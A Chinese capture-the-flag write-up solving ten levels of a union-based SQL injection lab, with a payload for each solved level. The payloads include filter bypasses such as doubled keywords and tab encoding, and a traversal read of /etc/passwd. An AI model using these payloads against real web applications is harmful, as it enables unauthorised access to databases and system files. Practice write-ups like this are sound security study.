Level 1

简单的一关,常规的联合查询注入(数字型)。
?id=1 and 1=2 union select 1,concat(user(),version),3--+
Level 2

同Level 1简单,字符型注入,闭合单引号即可。
?showprofile=4' and 1=2 union select 1,user(),version(),4--+
Level 3

常规字符型注入,使用--+闭合单引号号即可,
在使用union进行注入时,union会变成uni,此时需要使用unionon。
?item=3' and 1=2 unionon select 1,user(),version(),4--+
Level 4

同Level 3,字符型注入,闭合单引号,注入语句无法使用-使其报错,可使用and 1=2。
?ebookid=7' and 1=2 union select 1,2,user(),version(),5--+
Level 5
需要爆破,待…
Level 6

and 1=2 union select (select id from teachers limit 1,1),(select teacher from teachers limit 1,1),(select teacher_age from teachers limit 1,1),(select price from teachers limit 1,1)--
Level 7

这一关有点意思,注入好久没发现问题在哪,网上搜索后发现数据提交之后页面源代码中有个隐藏的value。

图中value的值就是注入点,后面都是常规注入操作
?id=1 AND 1=2 UNION SELECT 1,user(),3--+
Level 8

这一关会对%20进行过滤(初步判断)以及会对select进行检测,双写可绕过,数字型注入,可使用%09、%0d进行绕过,后面就是常规的注入操作。
?id=1%09and%091=2%09union%09seselectlect%09user(),version(),3--%09-
Level 9

这一关需要读取/etc/passwd文件,经测试知道load_file()被禁止。不过在插入SQL注入语句(字符型注入)时会报以下错误:

根据报错提示可以在1处进行读取
?id=1' and 1=2 union select '../etc/passwd',2-- -
Level 10

这一关x为注入点,但是参数是经过编码的,刚开始以为是base64 encode + url encode,解码后发现并没有那么简单,经过看别人的blog后了解到是uuencode,解码后参数显示为1。将SQL注入语句经过编码后可正常执行。

将SQL注入语句编码后即可
1 | 1 and 1=2 union select 1,concat(user(),version())-- - |

done
参考链接 https://medium.com/ctf-writeups/union-sqli-challenges-zixem-write-up-4e74ad4e88b4